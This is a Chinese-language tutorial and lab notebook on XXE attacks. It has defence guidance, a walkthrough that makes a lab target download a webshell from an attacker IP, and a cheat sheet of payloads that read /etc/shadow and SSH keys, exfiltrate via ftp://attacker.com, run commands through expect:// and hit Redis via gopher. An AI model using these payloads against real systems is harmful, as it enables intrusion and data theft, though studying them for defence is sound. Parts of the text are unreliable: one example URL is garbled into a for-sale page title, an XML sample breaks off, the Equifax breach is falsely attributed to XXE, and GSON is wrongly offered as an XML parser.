XXE(XML External Entity)漏洞
XXE(XML External Entity)漏洞是一种常见的安全漏洞,发生在处理 XML 数据的应用程序中。当应用程序解析 XML 输入时,如果没有正确配置或过滤外部实体的加载,就可能导致 XXE 攻击。
1. 什么是 XXE 漏洞?
XXE 漏洞允许攻击者通过构造特定的 XML 输入来操控 XML 解析器,迫使其加载外部实体(External Entities)。这可能导致多种安全问题,包括:
- 读取本地文件(如 /etc/passwd)。
- 远程服务器发起请求(SSR,Server-Side Request Forgery)。
- 进行拒绝服务攻击(DoS)。
- 执行远程代码(RCE),虽然较少见,但在一些特定条件下可能发生。
2. 漏洞原理
XML 允许定义外部实体,通过 <!ENTITY> 声明来引用外部资源。攻击者可以通过构造恶意的 XML 数据,在其中包含外部实体,诱使解析器加载这些实体。
例如,假设攻击者提交以下 XML 数据:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<name>&xxe;</name>
</user>
在这个例子中:
- <!DOCTYPE foo [ ... ]> 定义了一个外部实体 xxe,该实体指向本地的 /etc/passwd 文件。
- 当 XML 解析器解析该文档时,它会尝试加载外部实体 xxe,从而导致读取该文件的内容。
3. XXE 漏洞的影响
XXE 漏洞的影响可以非常严重,具体包括:
- 信息泄露:通过加载本地文件,攻击者可以窃取敏感信息,如配置文件、用户数据等。
- 远程代码执行:在某些情况下,攻击者可以构造恶意的外部实体,从而在服务器上执行恶意代码。
- 拒绝服务攻击(DoS):通过递归地定义大量的外部实体,攻击者可以消耗大量的资源,导致服务崩溃。
- SSR(Server-Side Request Forgery):攻击者可能通过 XML 实体请求内部服务,绕过网络防火墙进行攻击。
4. 漏洞成因
XXE 漏洞的根本原因是 XML 解析器在没有正确限制的情况下,允许外部实体的加载。现代的 XML 解析器(如 Java 的 SAX 或 .NET 的 XML 解析器)通常默认允许外部实体的解析,因此需要额外配置以禁止该行为。
5. 如何防范 XXE 漏洞?
为了防止 XXE 漏洞,可以采取以下几种措施:
a. 禁用外部实体解析
大多数现代的 XML 解析库允许禁用外部实体解析。确保在解析 XML 时禁用对外部实体的支持。
- Java :可以使用以下代码禁用外部实体解析:
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); - Python :对于 lxml 或 xml.etree.ElementTree,需要禁用外部实体加载:
from lxml import etree
parser = etree.XMLParser(resolve_entities=False)
tree = etree.parse("file.xml", parser)
b. 使用更安全的 XML 解析库
使用更安全、默认禁用外部实体加载的库,如 lxml 或 GSON,而非较旧的解析库。
c. 输入验证
严格验证传入的 XML 数据,拒绝任何形式的外部实体引用,或对所有输入的 XML 数据进行过滤。
d. 最小化文件和网络访问权限
确保应用程序只能访问它们所需的文件和网络资源。如果应用程序需要解析 XML,确保它无法访问敏感的文件和内网资源。
e. 定期安全测试
使用静态分析工具、动态分析工具或渗透测试对应用程序进行安全扫描,及时发现 XXE 漏洞。
6. 现实案例
- 2017年 Equifax 数据泄露事件:在该事件中,攻击者通过 XXE 漏洞攻破了 Equifax 的一部分系统,导致了大规模的个人信息泄露。攻击者利用 XXE 漏洞获取了系统内网的敏感信息。
- 2019年某银行:通过 XXE 漏洞,攻击者能够读取银行服务器上的本地文件,从而获取敏感信息和进一步执行攻击。
7. 总结
XXE 漏洞是一个严重的安全问题,攻击者可以利用该漏洞窃取敏感信息、发起拒绝服务攻击或进行远程代码执行。防范 XXE 漏洞的关键是禁用不必要的外部实体支持,使用安全的 XML 解析库,并对输入进行严格的验证和过滤。
XML(eXtensible Markup Language,可扩展标记语言)
XML(eXtensible Markup Language,可扩展标记语言)是一种用于描述数据结构和数据交换的标记语言。它设计上既简单又灵活,广泛应用于数据存储、传输和表示中。XML 具有自描述性和层次结构,通常用于系统之间的通信和文件存储。
1. XML 基本概念
a. 结构
XML 文档由元素(tags)组成,元素通常以开始标记和结束标记配对出现。每个元素可以包含子元素或文本内容,也可以嵌套其他元素。
例如:
<book>
`
在这个例子中:
- <book> 是根元素。
- <title>, <author>, 和 <year> 是 book 元素的子元素。
- 每个元素都有开始标签和结束标签,数据位于这些标签之间。
b. 属性
元素也可以有属性,属性通常提供额外的信息。例如:
<book type="programming">
<title>XML教程</title>
<author>张三</author>
</book>
在这个例子中,book 元素有一个 type 属性,表示该书的类型。
c. 注释
XML 支持注释,可以用来添加文档说明,但不会被解析器处理。例如:
<!-- 这是一本关于XML的书 -->
<book>
<title>XML教程</title>
</book>
2. XML 的特点
- 自描述性:XML 文档的结构是自描述的,含有丰富的标签,能清晰地表达数据的含义。
- 平台无关性:XML 文档是纯文本格式,可以在不同平台、不同操作系统之间传输和处理。
- 层次化结构:XML 是树形结构的数据表示方式,支持嵌套结构,使其能表示复杂的数据关系。
- 扩展性:用户可以根据需要自定义标签,适应不同的应用场景,满足不同的需求。
3. XML 与 HTML 的区别
虽然 XML 和 HTML 都是基于标签的标记语言,但它们有很大的不同:
- 用途不同 :
- HTML 主要用于网页展示,结构和标签是预定义的。
- XML 用于数据交换和存储,允许用户自定义标签。
- 标签规则 :
- HTML 标签不需要严格闭合(例如 <li> 可以没有结束标签 </li>),浏览器会自动处理。
- XML 标签必须严格闭合,且大小写敏感,标签必须是成对出现的。
- 数据结构 :
- HTML 主要侧重于表示和展示数据。
- XML 主要用于存储和传输数据。
4. XML 的应用
XML 被广泛应用于多个领域:
- Web 服务(SOAP):许多 Web 服务协议(如 SOAP)使用 XML 作为消息格式。
- 配置文件:很多程序使用 XML 文件来存储配置数据,像 web.xml(Java Web)和 pom.xml(Maven)。
- 数据交换:XML 是一种常见的数据交换格式,例如 RSS(用于新闻订阅)和 Atom(另一种新闻订阅格式)。
- 数据库存储:一些数据库(如 XML 数据库)专门支持 XML 数据的存储和查询。
5. XML 文档的基本结构
XML 文档通常包括以下几个部分:
- 声明 (可选):用于定义 XML 文档的版本和字符编码。
<?xml version="1.0" encoding="UTF-8"?>
这表示该文档使用 XML 1.0 版本,并且字符编码为 UTF-8。 - 根元素 :每个 XML 文档必须有一个根元素,所有其他元素都是根元素的子元素。
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
在这个例子中,<note> 是根元素。 - 元素 :元素用标签表示,可以包含属性、文本或其他子元素。
<person age="30">
<name>John</name>
<job>Engineer</job>
</person> - 注释 :XML 允许在文档中插入注释,注释内容不会被解析。
<!-- 这是一条注释 -->
6. XML 解析
XML 解析是将 XML 文档转化为程序可以操作的数据结构的过程。常见的 XML 解析方法包括:
- DOM(Document Object Model):将整个 XML 文档加载到内存中并构建一个树形结构。这种方法适用于文档小且需要多次访问文档的场景。
- SAX(Simple API for XML):基于事件驱动的解析方式,逐行读取 XML 文档,并触发事件。这种方法适用于处理大文件,因其内存消耗较少。
- StAX(Streaming API for XML):一种比 SAX 更灵活的解析方法,它允许开发者逐步读取 XML 内容。
7. XML 的安全问题
XML 存在一些安全问题,最常见的就是 XXE(XML External Entity) 漏洞。通过 XML 中的外部实体,攻击者可以发起文件读取、远程代码执行或 DoS 攻击。为防止这些问题,应采取以下措施:
- 禁用外部实体解析。
- 使用安全的 XML 解析器。
- 严格验证 XML 输入。
8. 相关技术
- XSLT(Extensible Stylesheet Language Transformations):一种用于将 XML 文档转换为其他格式(如 HTML 或纯文本)的语言。
- XPath:一种用于查询 XML 文档的语言,可以在 XML 文档中定位特定的元素或属性。
- XML Schema:定义 XML 数据结构的标准,用于描述 XML 数据的合法性规则。
靶场实操一:
1,通过docker镜像在本地ubuntu-linux上搭建靶场,题目位置 http://192.168.23.154/06/vul/xxe/xxe_1.php
接收 XML 数据的 API 通常需要一个后端接口来处理传入的 XML 内容。这类 API 通常需要解析 XML,验证其格式,处理数据,并返回相应的结果。
++XML++ ++结构++
++第一部分:XML声明部分++
++<?xml version="1.0"?>++
++第二部分:文档类型定义 DTD++
++<!DOCTYPE note[++
++<!--定义此文档是note类型的文档-->++
++<!ENTITY entity-name SYSTEM "URI/URL">++
++<!--外部实体声明-->++
++]>++
++第三部分:文档元素++
++<note>++
++<to>Dave</to>++
++<from>Tom</from>++
++<head>Reminder</head>++
++<body>You are a good man</body>++
++</note>++
++XXE++ ++攻击发生在第二部分<!ENTITY>允许外部实体注入++
2,随便输入个包含命名实体(内部实体)的xml数据(以下代码中xxe是命名实体的实体名称):
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "XXE" > ]>
<foo>&xxe;</foo>
3,构造payload成功利用漏洞读取敏感信息
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE note [
<!ENTITY hack SYSTEM "file:///etc/passwd">
]>
<name>&hack;</name>
Payload 结构解析
- <?xml version="1.0" encoding="UTF-8" ?>
表示这是一个标准的 XML 文档,采用 UTF-8 编码。 - <!DOCTYPE note [ ... ]>
这里定义了 XML 文档的 DOCTYPE,引入了一个外部实体。 - <!ENTITY hack SYSTEM " file:///etc/passwd ">
- 这是 实体定义,定义了一个名为 hack 的外部实体。
- SYSTEM 关键字表示该实体的值将从指定的系统资源(如本地文件)中读取。
- file:///etc/passwd 是一个本地文件路径(Linux 系统上的用户信息文件)。
- <name>&hack;</name>
- 这里使用了 &hack; 实体引用,表示在解析时将该实体替换为 file:///etc/passwd 文件的内容。
3,构造payload成功利用漏洞通过http协议读取攻击机一句话木马
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE note [
<!ENTITY hack SYSTEM "http://192.168.23.140:8000/shell.php">
]>
<name>&hack;</name>
在攻击机上面观察,靶机成功下载了一句话木马
只要知道一句话木马路径,就可以使用蚁剑控制这个网站
XXE 漏洞与伪协议
在 XXE(XML外部实体) 漏洞中,攻击者可以利用一些特殊的伪协议 或特殊资源路径 来执行文件读取、网络请求、命令执行等操作。以下是常见的 XXE 攻击中引入外部实体时使用的伪协议和用法:
1. file:// 协议
- 用途:读取本地文件。
- 示例 :
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data> - 效果:读取本地文件 /etc/passwd 的内容并将其插入到 XML 输出中。
- 常见目标 :
- Linux:/etc/passwd、/etc/shadow、/root/.ssh/id_rsa
- Windows:C:\windows\win.ini、C:\Users\<user>\AppData\Local\Microsoft\
2. http:// 和 https:// 协议
- 用途 :触发服务器向外部 HTTP/HTTPS 资源发起请求,可以造成 SSRF(服务器端请求伪造)。
- 示例 :
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "Attacker - The Domain Name Attacker.com is Now For Sale.">
]>
<data>&xxe;</data> - 效果:服务器向攻击者的恶意服务器发送请求,并可能泄露信息。
- 应用 :
- 攻击者搭建一个恶意服务器并返回其他攻击载荷。
- 用于探测内网服务或敏感资源(例如 http://localhost:8080/admin)。
3. ftp:// 协议
- 用途:读取本地文件并通过 FTP 上传到攻击者的服务器。
- 示例 :
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "ftp://attacker.com/evil">
]>
<data>&xxe;</data> - 效果:可以与文件路径结合使用,导致服务器尝试通过 FTP 将文件内容上传到攻击者服务器。
- 攻击扩展:如果服务器支持 FTP 文件上传,可利用此协议进行数据泄露。
4. php:// 协议(PHP特有)
- 用途:在 PHP 环境中,可以通过 php:// 伪协议访问输入/输出流、文件和其他资源。
- 示例 :
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<data>&xxe;</data> - 效果:读取 index.php 文件内容并进行 Base64 编码,方便攻击者读取编码后的内容。
- 常见用法 :
- php://input:读取原始 HTTP 请求体。
- php://filter:对文件进行编码或压缩操作。
- php://stdout、php://stderr:访问标准输出流和错误流。
5. gopher:// 协议
- 用途:用于构造任意 TCP 数据包发送请求,通常用于攻击内部服务(SSRF 攻击)。
- 示例 :
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/_%2A1%0D%0A$4%0D%0AINFO%0D%0A">
]>
<data>&xxe;</data> - 效果:发送构造的 Redis 数据包到目标服务,触发内部服务命令执行(如获取 Redis 信息)。
- 攻击应用 :
- 用于攻击 Redis、Memcached 等基于 TCP 的服务。
- 可以利用 SSRF 发送精确的请求包。
6. jar:// 协议
- 用途:在 Java 环境中,加载和访问 JAR 文件。
- 示例 :
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "jar:file:///path/to/evil.jar!/">
]>
<data>&xxe;</data> - 效果:尝试读取 JAR 文件中的内容。
- 扩展攻击 :
- 结合文件上传漏洞,可以执行恶意的 Java 代码。
- 访问和探测服务器上的 .jar 文件。
7. dict:// 协议
- 用途:用于通过字典服务器(RFC 2229)发起查询,可用来验证 SSRF。
- 示例 :
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "dict://example.com:8080">
]>
<data>&xxe;</data> - 效果:触发服务器向字典服务器发起查询,验证内网或外部端口是否开放。
8. expect:// 协议(PHP特有)
- 用途:在 PHP 环境中,可以通过 expect:// 协议执行系统命令。
- 示例 :
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://id">
]>
<data>&xxe;</data> - 效果:执行 id 命令并将输出返回给攻击者。
- 前提:需要 PHP 安装了 expect 扩展,并允许该功能启用。
9. mailto://协议
- 用途:发送电子邮件。
- 示例 :
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "mailto:attacker@example.com">
]>
<data>&xxe;</data> - 效果:可能会尝试发送邮件,尤其在应用集成邮件服务的情况下,这可以用来确认 SSRF 存在。
10. 其他特定协议
- ldap://:尝试连接 LDAP 服务器。
- netdoc://(Windows 特有):可以用来访问网络文档资源。
- smb:// 或 cifs://(Windows 文件共享):尝试通过 SMB 协议获取共享文件,可能导致 NTLM 哈希泄露。
总结
在 XXE 攻击中,攻击者利用各种伪协议实现不同的攻击目标:
- 文件读取:file://
- SSRF(服务器端请求伪造):http://、ftp://、gopher:// 等。
- 命令执行:expect://(PHP特有)。
- 信息泄露与编码:php://filter
- 网络协议探测:ldap://、smtp://、smb://
防范措施:
- 禁用外部实体解析。
- 使用安全的 XML 解析器和库。
- 过滤用户输入的 XML 数据,禁止用户定义 DOCTYPE 和实体。
- 实施最小权限原则,限制服务器访问不必要的资源和网络协议。